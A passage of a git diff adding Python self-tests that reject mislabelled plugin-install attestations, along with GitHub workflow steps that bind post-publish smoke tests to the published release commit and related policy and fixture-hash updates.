is a rejection. + +The first version of the deferred path shipped with none of this. It attested a fixture resolve +as ``codex_marketplace_install``, wrote a temporary directory into +``marketplace.repository``, and the live predicate refused it three steps after the release tag +was already pushed. Each case below is one of the ways that failed, asserted in the +fail-closed direction. +""" + +from __future__ import annotations + +import argparse +import copy +import json +import shutil +import subprocess +import tempfile +from collections.abc import Callable +from pathlib import Path +from types import SimpleNamespace + +from .foundation import REPOSITORY_ROOT, ProofFailure, require +from .installed_identity import installed_plugin_identity +from .marketplace_installation import ( + DEFERRED_INSTALLATION_SOURCE, + LIVE_INSTALLATION_SOURCE, +) + +_MARKETPLACE_NAME = "TheGreenCedar" +_LIVE_REPOSITORY = "TheGreenCedar/AgentPluginMarketplace" +_LIVE_URL = f"https://github.com/{_LIVE_REPOSITORY}.git" +_DEFERRED_REPOSITORY = "local:candidate-pinned-marketplace-fixture" +_MARKER_FILENAME = ".codestory-marketplace-fixture.json" +_MARKER_PURPOSE = "codestory-candidate-pinned-marketplace-fixture" +_PLUGIN_ID = f"codestory@{_MARKETPLACE_NAME}" + + +def _git(repository: Path, *arguments: str) -> str: + completed = subprocess.run( + ["git", "-C", str(repository), *arguments], + text=True, + capture_output=True, + timeout=60, + ) + require( + completed.returncode == 0, + f"marketplace delivery self-test git command failed: {completed.stderr.strip()}", + ) + return completed.stdout.strip() + + +def _pinned_source(commit: str) -> dict[str, str]: + return { + "source": "git-subdir", + "url": "https://github.com/TheGreenCedar/CodeStory.git", + "path": "plugins/codestory", + "sha": commit, + } + + +def _manifest() -> dict: + version = json.loads( + ( + REPOSITORY_ROOT / "plugins" / "codestory" / ".codex-plugin" / "plugin.json" + ).read_text(encoding="utf-8") + )["version"] + return { + "release_version": version, + "asset_target": "linux-x64", + "source": { + "commit": _git(REPOSITORY_ROOT, "rev-parse", "HEAD"), + "tree": _git(REPOSITORY_ROOT, "rev-parse", "HEAD^{tree}"), + }, + } + + +def _write_catalog(root: Path, commit: str) -> None: + catalog_directory = root / ".agents" / "plugins" + catalog_directory.mkdir(parents=True, exist_ok=True) + catalog = { + "name": _MARKETPLACE_NAME, + "interface": {"displayName": _MARKETPLACE_NAME}, + "plugins": [ + { + "name": "codestory", + "source": _pinned_source(commit), + "policy": {"installation": "AVAILABLE", "authentication": "ON_INSTALL"}, + "category": "Developer Tools", + } + ], + } + (catalog_directory / "marketplace.json").write_text( + f"{json.dumps(catalog, indent=2)}\n", encoding="utf-8" + ) + + +def _commit_all(root: Path, message: str) -> str: + _git(root, "add", "--all") + _git( + root, + "-c", + "user.email=self-test@codestory.invalid", + "-c", + "user.name=self test", + "commit", + "--quiet", + "--message", + message, + ) + return _git(root, "rev-parse", "HEAD") + + +def _build_world(root: Path, deferred: bool, manifest: dict) -> dict: + """A complete, valid installed-runtime world on disk for one delivery state.""" + commit = manifest["source"]["commit"] + codex_home = (root / "codex-home").resolve() + plugin_data = codex_home / "plugin-data" + plugin_data.mkdir(parents=True) + plugin_root = ( + codex_home + / "plugins" + / "cache" + / _MARKETPLACE_NAME + / "codestory" + / manifest["release_version"] + ) + plugin_root.parent.mkdir(parents=True) + shutil.copytree(REPOSITORY_ROOT / "plugins" / "codestory", plugin_root) + + if deferred: + marketplace_root = (root / "fixture").resolve() + marketplace_root.mkdir(parents=True) + else: + marketplace_root = (codex_home / ".tmp" / "marketplaces" / _MARKETPLACE_NAME).resolve() + marketplace_root.mkdir(parents=True) + _write_catalog(marketplace_root, commit) + if deferred: + (marketplace_root / _MARKER_FILENAME).write_text( + f"{json.dumps({ + 'schema_version': 1, + 'purpose': _MARKER_PURPOSE, + 'pinned_commit': commit, + 'plugin_version': manifest['release_version'], + }, indent=2)}\n", + encoding="utf-8", + ) + _git(marketplace_root, "init", "--quiet", "--initial-branch", "main") + if not deferred: + _git(marketplace_root, "remote", "add", "origin", _LIVE_URL) + revision = _commit_all(marketplace_root, "catalog") + + origin = ( + {"sourceType": "local", "source": str(marketplace_root)} + if deferred + else {"sourceType": "git", "source": _LIVE_URL} + ) + config = [f"[marketplaces.{_MARKETPLACE_NAME}]"] + config.append(f'source_type = "{origin["sourceType"]}"') + config.append(f'source = "{origin["source"]}"') + if not deferred: + config.append(f'ref = "{revision}"') + config.append("") + config.append(f'[plugins."{_PLUGIN_ID}"]') + config.append("enabled = true") + (codex_home / "config.toml").write_text("\n".join(config) + "\n", encoding="utf-8") + + installed_entry = { + "pluginId": _PLUGIN_ID, + "name": "codestory", + "marketplaceName": _MARKETPLACE_NAME, + "version": manifest["release_version"], + "installed": True, + "enabled": True, + "source": _pinned_source(commit), + "marketplaceSource": origin, + "installPolicy": "AVAILABLE", + "authPolicy": "ON_INSTALL", + } + attestation = { + "schema_version": 2, + "installation_source": ( + DEFERRED_INSTALLATION_SOURCE if deferred else LIVE_INSTALLATION_SOURCE + ), + "installation": { + "codex_home": str(codex_home), + "plugin_root": str(plugin_root), + "plugin_data": str(plugin_data), + }, + "plugin": { + "id": "codestory", + "version": manifest["release_version"], + "source_commit": commit, + "source_tree": manifest["source"]["tree"], + "package_sha256": "", + }, + "marketplace": { + "repository": _DEFERRED_REPOSITORY if deferred else _LIVE_REPOSITORY, + "revision": revision, + "provenance": { + "add": {"root": str(marketplace_root), "revision": revision}, + "list": {"root": str(marketplace_root), "revision": revision}, + }, + "codex_cli_version": f"codex-cli {_pinned_codex_cli_version()}", + "add_result": { + "marketplaceName": _MARKETPLACE_NAME, + "installedRoot": str(marketplace_root), + "alreadyAdded": False, + }, + "list_result": { + "marketplaces": [ + { + "name": _MARKETPLACE_NAME, + "root": str(marketplace_root), + "marketplaceSource": origin, + } + ] + }, + "plugin_add_result": { + "pluginId": _PLUGIN_ID, + "name": "codestory", + "marketplaceName": _MARKETPLACE_NAME, + "version": manifest["release_version"], + "installedPath": str(plugin_root), + "authPolicy": "ON_INSTALL", + }, + "plugin_list_result": {"installed": [installed_entry], "available": []}, + }, + } + from .installation_support import directory_contract_sha256 + + attestation["plugin"]["package_sha256"] = directory_contract_sha256(plugin_root) + return { + "attestation": attestation, + "plugin_root": plugin_root, + "plugin_data": plugin_data, + "marketplace_root": marketplace_root, + "codex_home": codex_home, + } + + +def _pinned_codex_cli_version() -> str: + from .foundation import PINNED_CODEX_CLI_VERSION + + return PINNED_CODEX_CLI_VERSION + + +def _verify(world: dict, attestation: dict, root: Path, manifest: dict) -> dict: + path = root / "attestation.json" + path.write_text(f"{json.dumps(attestation, indent=2)}\n", encoding="utf-8") + args = argparse.Namespace( + proof_tier="installed_runtime", + installed_plugin_attestation=path, + installed_plugin_data=world["plugin_data"], + archive=None, + candidate_producer_repository=None, + candidate_producer_workflow_path=None, + candidate_producer_run_id=None, + candidate_producer_run_attempt=None, + candidate_artifact_name=None, + ) + return installed_plugin_identity(args, world["plugin_root"], manifest) + + +def _reject( + world: dict, + root: Path, + manifest: dict, + description: str, + mutate: Callable[[dict], None], +) -> None: + attestation = copy.deepcopy(world["attestation"]) + mutate(attestation) + try: + _verify(world, attestation, root, manifest) + except ProofFailure: + return + raise ProofFailure( + f"installed-runtime identity accepted {description}" + ) + + +def _run_deferred_self_tests(root: Path, manifest: dict) -> None: + world = _build_world(root / "deferred", deferred=True, manifest=manifest) + identity = _verify(world, world["attestation"], root, manifest) + require( + identity["installation_source"] == DEFERRED_INSTALLATION_SOURCE + and identity["marketplace_repository"] == _DEFERRED_REPOSITORY, + "a deferred catalog resolve did not record its own installer identity", + ) + require( + identity["plugin_source_commit"] == manifest["source"]["commit"] + and identity["plugin_source_tree"] == manifest["source"]["tree"], + "a deferred catalog resolve did not bind the released plugin source", + ) + + def relabel_as_live(attestation: dict) -> None: + attestation["installation_source"] = LIVE_INSTALLATION_SOURCE + attestation["marketplace"]["repository"] = _LIVE_REPOSITORY + + _reject( + world, + root, + manifest, + "a fixture resolve relabelled as a live public-catalog install", + relabel_as_live, + ) + _reject( + world, + root, + manifest, + "a deferred resolve claiming the live catalog repository", + lambda attestation: attestation["marketplace"].update( + repository=_LIVE_REPOSITORY + ), + ) + _reject( + world, + root, + manifest, + "a deferred resolve claiming a git-backed marketplace source", + lambda attestation: attestation["marketplace"]["list_result"]["marketplaces"][ + 0 + ].update(marketplaceSource={"sourceType": "git", "source": _LIVE_URL}), + ) + _reject( + world, + root, + manifest, + "an installer identity no delivery state defines", + lambda attestation: attestation.update( + installation_source="codex_marketplace_install_v3" + ), + ) + _reject( + world, + root, + manifest, + "a deferred resolve whose catalog is the release checkout itself", + lambda attestation: attestation["marketplace"]["add_result"].update( + installedRoot=str(REPOSITORY_ROOT) + ), + ) + + marker = world["marketplace_root"] / _MARKER_FILENAME + saved = marker.read_bytes() + marker.unlink() + _commit_all(world["marketplace_root"], "drop the fixture marker") + absent = copy.deepcopy(world["attestation"]) + revision = _git(world["marketplace_root"], "rev-parse", "HEAD") + _restamp(absent, revision) + try: + _verify(world, absent, root, manifest) + raise ProofFailure( + "installed-runtime identity accepted a local catalog carrying no fixture marker" + ) + except ProofFailure as exc: + require( + "candidate-pinned marketplace fixture" in str(exc), + f"a marker-less local catalog was refused for the wrong reason: {exc}", + ) + marker.write_bytes(saved) + json_marker = json.loads(saved) + json_marker["pinned_commit"] = "0" * 40 + marker.write_text(f"{json.dumps(json_marker, indent=2)}\n", encoding="utf-8") + _commit_all(world["marketplace_root"], "pin a different commit") + mismatched = copy.deepcopy(world["attestation"]) + _restamp(mismatched, _git(world["marketplace_root"], "rev-parse", "HEAD")) + try: + _verify(world, mismatched, root, manifest) + raise ProofFailure( + "installed-runtime identity accepted a fixture pinning another commit" + ) + except ProofFailure as exc: + require( + "does not pin the exact released commit" in str(exc), + f"a mispinned fixture was refused for the wrong reason: {exc}", + ) + + config = world["codex_home"] / "config.toml" + saved_config = config.read_text(encoding="utf-8") + config.write_text( + saved_config.replace( + "source_type =", f'ref = "{world["attestation"]["marketplace"]["revision"]}"\nsource_type =' + ), + encoding="utf-8", + ) + marker.write_bytes(saved) + _commit_all(world["marketplace_root"], "restore the fixture marker") + claimed = copy.deepcopy(world["attestation"]) + _restamp(claimed, _git(world["marketplace_root"], "rev-parse", "HEAD")) + try: + _verify(world, claimed, root, manifest) + raise ProofFailure( + "installed-runtime identity accepted a deferred config claiming a live ref" + ) + except ProofFailure as exc: + require( + "claims a live marketplace revision" in str(exc), + f"a deferred config claiming a live ref was refused for the wrong reason: {exc}", + ) + config.write_text(saved_config, encoding="utf-8") + + _git(world["marketplace_root"], "remote", "add", "origin", _LIVE_URL) + dressed = copy.deepcopy(world["attestation"]) + _restamp(dressed, _git(world["marketplace_root"], "rev-parse", "HEAD")) + try: + _verify(world, dressed, root, manifest) + raise ProofFailure( + "installed-runtime identity accepted a fixture wearing the live marketplace origin" + ) + except ProofFailure: + pass + + +def _restamp(attestation: dict, revision: str) -> None: + marketplace = attestation["marketplace"] + marketplace["revision"] = revision + for operation in ("add", "list"): + marketplace["provenance"][operation]["revision"] = revision + + +def _run_live_self_tests(root: Path, manifest: dict) -> None: + world = _build_world(root / "live", deferred=False, manifest=manifest) + identity = _verify(world, world["attestation"], root, manifest) + require( + identity["installation_source"] == LIVE_INSTALLATION_SOURCE + and identity["marketplace_repository"] == _LIVE_REPOSITORY, + "a live catalog resolve did not record the public marketplace identity", + ) + _reject( + world, + root, + manifest, + "a live install naming the deferred fixture repository", + lambda attestation: attestation["marketplace"].update( + repository=_DEFERRED_REPOSITORY + ), + ) + _reject( + world, + root, + manifest, + "a live install relabelled as a deferred fixture resolve", + lambda attestation: attestation.update( + installation_source=DEFERRED_INSTALLATION_SOURCE + ), + ) + # The live shape is not relaxed to admit a local source: this is the check the deferred + # state was originally, wrongly, expected to satisfy. + _reject( + world, + root, + manifest, + "a live install whose marketplace list reports a local source", + lambda attestation: attestation["marketplace"]["list_result"]["marketplaces"][ + 0 + ].update( + marketplaceSource={ + "sourceType": "local", + "source": attestation["marketplace"]["add_result"]["installedRoot"], + } + ), + ) + + +def _run_retained_provenance_self_tests() -> None: + """The retained evidence verifier must bind each installer identity to its own repository. + + The identity predicate is only the first reader. Retained qualification evidence names the + marketplace repository too, and it hard-coded the live one -- so a deferred release would + have been refused here even after the install itself was accepted. + """ + from . import qualification_retained_provenance as retained + from .foundation import PINNED_CODEX_CLI_VERSION + + manifest = { + "release_version": "0.16.2", + "source": {"tree": "a" * 40, "commit": "b" * 40}, + } + contract = SimpleNamespace(manifest=manifest) + runtime = {"build_source": "github_release", "repo_ref": "v0.16.2"} + + def plugin(installation_source: str, repository: str) -> dict: + return { + "installation_source": installation_source, + "marketplace_repository": repository, + "codex_cli_version": PINNED_CODEX_CLI_VERSION, + "marketplace_commit": "c" * 40, + "plugin_source_commit": "b" * 40, + "plugin_source_tree": "a" * 40, + } + + for source, repository in ( + (LIVE_INSTALLATION_SOURCE, _LIVE_REPOSITORY), + (DEFERRED_INSTALLATION_SOURCE, _DEFERRED_REPOSITORY), + ): + retained._verify_marketplace_provenance(contract, plugin(source, repository), runtime) + + # Each identity may name only its own repository, and an identity no state declares is not a + # delivery state at all. + for description, source, repository in ( + ("a deferred fixture claiming the live catalog repository", + DEFERRED_INSTALLATION_SOURCE, _LIVE_REPOSITORY), + ("a live install claiming the fixture repository", + LIVE_INSTALLATION_SOURCE, _DEFERRED_REPOSITORY), + ("an installer identity no delivery state declares", + "codex_marketplace_install_v3", _LIVE_REPOSITORY), + ): + try: + retained._verify_marketplace_provenance( + contract, plugin(source, repository), runtime + ) + except ProofFailure: + continue + raise ProofFailure(f"retained installed evidence accepted {description}") + + +def run_marketplace_delivery_self_tests() -> None: + manifest = _manifest() + with tempfile.TemporaryDirectory(prefix="codestory-marketplace-delivery-") as raw: + root = Path(raw).resolve() + _run_deferred_self_tests(root, manifest) + _run_live_self_tests(root, manifest) + _run_retained_provenance_self_tests() diff --git a/.github/workflows/plugin-release.yml b/.github/workflows/plugin-release.yml index c5b28fdd4..7fe51cb54 100644 --- a/.github/workflows/plugin-release.yml +++ b/.github/workflows/plugin-release.yml @@ -255,7 +255,15 @@ jobs: echo "Catalog delivery: published at $marketplace_revision." >> "$GITHUB_STEP_SUMMARY" exit 0 fi - echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW." + # $RECOVERY_WORKFLOW mints the SAME credential from the SAME environment, so it recovers a + # rejected push, not a missing credential. Saying so here keeps the recorded recovery + # instruction one that can actually be followed. + if [ "$TOKEN_OUTCOME" != "success" ]; then + recovery="provision the marketplace-publish credential, then run $RECOVERY_WORKFLOW (it mints the same token, so it defers as well when that credential is absent)" + else + recovery="re-run $RECOVERY_WORKFLOW with this version and commit" + fi + echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW: $recovery." echo "Catalog delivery: DEFERRED. The release is published; the catalog still serves the previous release. Recover with $RECOVERY_WORKFLOW." >> "$GITHUB_STEP_SUMMARY" post-publish-smoke: @@ -266,7 +274,41 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 30 steps: + # The published release tag, not the run's own head. A bare checkout gave this job the + # workspace it was triggered from, and the deferred branch then built a catalog out of + # that workspace and verified the install back against the same tree -- a comparison that + # could not fail for any release-related reason. Resolving the tag makes the commit under + # proof the one the release actually published. - uses: actions/checkout@v5 + with: + ref: v${{ inputs.version }} + fetch-depth: 0 + + # The tag alone is a local name; this is where it becomes the PUBLISHED identity. The + # published release must exist, must not be a draft, and must resolve to the commit this + # job checked out. Every later step pins that commit, so the fixture catalog, the Codex + # resolve, and the byte comparison all name a release GitHub is actually serving. + - name: Bind this smoke to the published release + id: published + shell: bash + env: + GH_TOKEN: ${{ github.token }} + TAG: v${{ inputs.version }} + run: | + set -euo pipefail + draft="$(gh release view "$TAG" --repo "$GITHUB_REPOSITORY" --json isDraft --jq .isDraft)" + if [ "$draft" != "false" ]; then + echo "::error::Published plugin release $TAG is a draft." + exit 1 + fi + published_commit="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' + if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then + echo "::error::Checked-out tree is not the commit published at $TAG." + exit 1 + fi + echo "commit=$published_commit" >> "$GITHUB_OUTPUT" + echo "Smoking the plugin published at $TAG ($published_commit)." >> "$GITHUB_STEP_SUMMARY" # Same two states as the native lane, decided once from the recorded publication outcome. # Published resolves the live catalog; deferred resolves a catalog pinned to this exact @@ -278,8 +320,12 @@ jobs: env: CATALOG_PUBLISHED: ${{ needs.marketplace-publish.outputs.catalog_published == 'true' }} INPUT_MARKETPLACE_REVISION: ${{ needs.marketplace-publish.outputs.marketplace_revision }} + PUBLISHED_COMMIT: ${{ steps.published.outputs.commit }} run: | set -euo pipefail + # The commit GitHub reports for the published tag, bound in the previous step. + published_commit="$PUBLISHED_COMMIT" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' fixture_root="$RUNNER_TEMP/codestory-marketplace-delivery/fixture" rm -rf "$fixture_root" if [ "$CATALOG_PUBLISHED" = "true" ]; then @@ -293,10 +339,14 @@ jobs: echo "::error::Deferred catalog publication must not carry a live catalog revision." exit 1 fi + # Pinned to the PUBLISHED commit resolved from GitHub, not to whatever this + # workspace happens to be. The Codex resolver then fetches that commit from + # github.com, so the installed bytes come from the published release rather than + # from the tree performing the check. node .github/scripts/build-marketplace-fixture.mjs \ --out "$fixture_root" \ --source-repository "$GITHUB_WORKSPACE" \ - --commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" + --commit "$published_commit" marketplace_source="$fixture_root" marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)" local_fixture=true @@ -306,7 +356,7 @@ jobs: echo "::error::catalog_published must be true or false, not '$CATALOG_PUBLISHED'." exit 1 fi - test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' { echo "marketplace_source=$marketplace_source" echo "marketplace_revision=$marketplace_revision" diff --git a/.github/workflows/post-publish-release-smoke.yml b/.github/workflows/post-publish-release-smoke.yml index 9f0a6f43d..19e7e19b0 100644 --- a/.github/workflows/post-publish-release-smoke.yml +++ b/.github/workflows/post-publish-release-smoke.yml @@ -106,6 +106,32 @@ jobs: ref: ${{ steps.release.outputs.tag }} fetch-depth: 0 + # The tag is a local name until GitHub agrees it is a published one. Every later step pins + # the commit resolved here, so the fixture catalog, the Codex resolve, and the byte + # comparison all name a release GitHub is actually serving -- never merely whatever tree + # this job happens to be standing in. + - name: Bind this smoke to the published release + id: published + shell: bash + env: + GH_TOKEN: ${{ github.token }} + TAG: ${{ steps.release.outputs.tag }} + run: | + set -euo pipefail + draft="$(gh release view "$TAG" --repo "$GITHUB_REPOSITORY" --json isDraft --jq .isDraft)" + if [ "$draft" != "false" ]; then + echo "::error::Published release $TAG is a draft." + exit 1 + fi + published_commit="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' + if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then + echo "::error::Checked-out tree is not the commit published at $TAG." + exit 1 + fi + echo "commit=$published_commit" >> "$GITHUB_OUTPUT" + echo "Smoking the release published at $TAG ($published_commit)." >> "$GITHUB_STEP_SUMMARY" + - name: Install pinned Python if: runner.os != 'macOS' uses: actions/setup-python@v7.0.0 @@ -231,8 +257,12 @@ jobs: env: CATALOG_PUBLISHED: ${{ inputs.catalog_published }} INPUT_MARKETPLACE_REVISION: ${{ inputs.marketplace_revision }} + PUBLISHED_COMMIT: ${{ steps.published.outputs.commit }} run: | set -euo pipefail + # The commit GitHub reports for the published tag, bound in the previous step. + published_commit="$PUBLISHED_COMMIT" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' fixture_root="$RUNNER_TEMP/codestory-marketplace-delivery/fixture" rm -rf "$fixture_root" if [ "$CATALOG_PUBLISHED" = "true" ]; then @@ -252,7 +282,7 @@ jobs: node .github/scripts/build-marketplace-fixture.mjs \ --out "$fixture_root" \ --source-repository "$GITHUB_WORKSPACE" \ - --commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" + --commit "$published_commit" marketplace_source="$fixture_root" marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)" local_fixture=true @@ -262,7 +292,7 @@ jobs: echo "::error::catalog_published must be true or false, not '$CATALOG_PUBLISHED'." exit 1 fi - test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' { echo "marketplace_source=$marketplace_source" echo "marketplace_revision=$marketplace_revision" @@ -284,7 +314,7 @@ jobs: codex_package_root="$RUNNER_TEMP/codex-cli-${CODEX_CLI_VERSION}" isolated_home="$install_root/isolated-home" marketplace_revision="${{ steps.delivery.outputs.marketplace_revision }}" - test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' rm -rf "$install_root" mkdir -p "$isolated_home" npm install \ diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 8bc4d4dec..f39eb4a68 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -213,7 +213,7 @@ jobs: https://github.com/TheGreenCedar/AgentPluginMarketplace.git \ refs/heads/main | awk '{print $1}' )" - test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT" rm -rf "$install_root" npm install \ @@ -235,7 +235,7 @@ jobs: # the fixture's own revision. The live revision above is still the one # the post-publish smoke consumes, so both are captured. fixture_revision="$(git -C "$fixture_root" rev-parse HEAD)" - test "$(printf '%s' "$fixture_revision" | wc -c | tr -d ' ')" = 40 + printf '%s' "$fixture_revision" | grep -Eq '^[0-9a-f]{40}$' node .github/scripts/install-codestory-marketplace-proof.mjs \ --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ @@ -609,7 +609,15 @@ jobs: echo "Catalog delivery: published at $marketplace_revision." >> "$GITHUB_STEP_SUMMARY" exit 0 fi - echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW." + # $RECOVERY_WORKFLOW mints the SAME credential from the SAME environment, so it recovers a + # rejected push, not a missing credential. Saying so here keeps the recorded recovery + # instruction one that can actually be followed. + if [ "$TOKEN_OUTCOME" != "success" ]; then + recovery="provision the marketplace-publish credential, then run $RECOVERY_WORKFLOW (it mints the same token, so it defers as well when that credential is absent)" + else + recovery="re-run $RECOVERY_WORKFLOW with this version and commit" + fi + echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW: $recovery." echo "Catalog delivery: DEFERRED. The release is published; the catalog still serves the previous release. Recover with $RECOVERY_WORKFLOW." >> "$GITHUB_STEP_SUMMARY" post-publish-smoke: diff --git a/AGENTS.md b/AGENTS.md index c7a97241c..00b066022 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -253,10 +253,34 @@ adapter to compensate for incorrect upstream state. `codex_marketplace_deferred_fixture` into the release ledger. A release may say the catalog was updated only when the push actually landed; the honest outcome otherwise is "released, catalog sync deferred". +- The two states are distinct **end to end**, not just in a log line. Each has its + own installer identity, its own `marketplace.repository` in the install + attestation (`local:candidate-pinned-marketplace-fixture` for a fixture), and + its own accepted shape in `marketplace_installation.py` — the resolver reports a + local source, a marketplace root outside the Codex home, and no pinned `ref`, + which the live shape cannot describe and must never be relaxed to admit. A + deferred install must resolve a catalog carrying the + `.codestory-marketplace-fixture.json` marker naming the exact released commit, + so an arbitrary local git directory cannot pass for one. The three names live in + `.github/scripts/marketplace-delivery-identity.mjs`; add a state there, in the + Python predicate, and in `release-claims.json` together or not at all. +- The closeout *reads* the mark. `workflow_policy.catalog_delivery.installed_cell_group` + names the post-publish cells whose signed `installer` identity resolves the + state, and `ledger.json`/`summary.json` carry `catalog_delivery`. Every one of + those cells must agree on one declared identity; an undeclared installer or a + disagreement between targets rejects the closeout rather than passing quietly. - `marketplace-sync.yml` is the recovery path for a deferred catalog. Re-run it with the published version and commit rather than editing the catalog by hand; it is idempotent, so re-running it against an already-synced catalog succeeds - without pushing. + without pushing. It mints its token from the same `MARKETPLACE_APP_ID` / + `MARKETPLACE_APP_PRIVATE_KEY` in the same `marketplace-publish` environment the + release lanes use, so it recovers a push that was **rejected**, not a + credential that does not exist. While those secrets are absent every release + defers and re-running the sync defers too: the exit is to provision the + credential first. That is deliberate — the alternative is a second, unscoped + way to write another repository — but it means "deferred" persists until + someone with repository-settings access acts, and the ledger says so rather + than implying a one-click fix. - For a local plugin-source change Codex must observe outside a release, refresh the installed package and verify the managed runtime path/version plus project-scoped status. CodeStory repository state alone does not update an diff --git a/benchmarks/release-evidence/fixtures/candidate.json b/benchmarks/release-evidence/fixtures/candidate.json index 1e014c9d2..789e03202 100644 --- a/benchmarks/release-evidence/fixtures/candidate.json +++ b/benchmarks/release-evidence/fixtures/candidate.json @@ -62,7 +62,7 @@ }, "release_claims": { "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", + "graph_sha256": "dc16ae973ec63ecc72116f7861ff77eef8cf709ddf2002d7485665541f7fd2f6", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "requested_claims": [ @@ -85,7 +85,7 @@ "type": "performance", "tier": "live_behavior", "status": "measured", - "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", + "graph_sha256": "dc16ae973ec63ecc72116f7861ff77eef8cf709ddf2002d7485665541f7fd2f6", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -106,7 +106,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", + "graph_sha256": "dc16ae973ec63ecc72116f7861ff77eef8cf709ddf2002d7485665541f7fd2f6", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { diff --git a/benchmarks/release-evidence/fixtures/report.json b/benchmarks/release-evidence/fixtures/report.json index 071d8db4c..6c1cabd16 100644 --- a/benchmarks/release-evidence/fixtures/report.json +++ b/benchmarks/release-evidence/fixtures/report.json @@ -7,7 +7,7 @@ "baseline_id": "ci-contract-v1@1111111111111111111111111111111111111111", "baseline_sha256": "0bbbe6dd8b4000151edf7b1270959d08e94e08db876e7f2372b25613e0f237c1", "candidate_path": "benchmarks/release-evidence/fixtures/candidate.json", - "candidate_sha256": "12906c593326f3dd9ff51f95131ff2bbd90e7865b3859bf05ac8360150ce7d5b", + "candidate_sha256": "708189e7916c88536ecbf74906bea202ed8c70c82e2cc671df5db4daaf4ebb22", "artifact_paths": [ { "path": "candidate-stats.json", @@ -26,7 +26,7 @@ "type": "performance", "tier": "live_behavior", "status": "pass", - "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", + "graph_sha256": "dc16ae973ec63ecc72116f7861ff77eef8cf709ddf2002d7485665541f7fd2f6", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -47,7 +47,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", + "graph_sha256": "dc16ae973ec63ecc72116f7861ff77eef8cf709ddf2002d7485665541f7fd2f6", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -69,7 +69,7 @@ "schema": "codestory.release-claim-evaluation/v1", "status": "pass", "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", + "graph_sha256": "dc16ae973ec63ecc72116f7861ff77eef8cf709ddf2002d7485665541f7fd2f6", "evidence_selection": "all_matching_rows_must_pass", "expected_commit": "2222222222222222222222222222222222222222", "evaluated_at": "2026-07-21T02:13:20.738Z", diff --git a/release-claims.json b/release-claims.json index 63aecf62b..dcc1c771c 100644 --- a/release-claims.json +++ b/release-claims.json @@ -1117,6 +1117,7 @@ "publish_job": "marketplace-publish", "recovery_workflow": "marketplace-sync.yml", "release_gate": false, + "installed_cell_group": "installed_runtime_behavior", "states": [ { "id": "published", diff --git a/scripts/codestory-release-claims.mjs b/scripts/codestory-release-claims.mjs index 3fee6a529..c034c9b5c 100644 --- a/scripts/codestory-release-claims.mjs +++ b/scripts/codestory-release-claims.mjs @@ -233,7 +233,7 @@ function uniqueById(values, label) { // the two states it is in, so the graph names both and pins a distinct installer identity to each. // A run that could not publish records the deferred identity in its post-publish cells; nothing in // the pipeline is allowed to record the published identity without the catalog push succeeding. -function validateCatalogDelivery(policy, dependencies) { +function validateCatalogDelivery(policy, dependencies, cellGroups) { const delivery = object(policy.catalog_delivery, "workflow_policy.catalog_delivery"); const publishJob = nonEmptyText(delivery.publish_job, 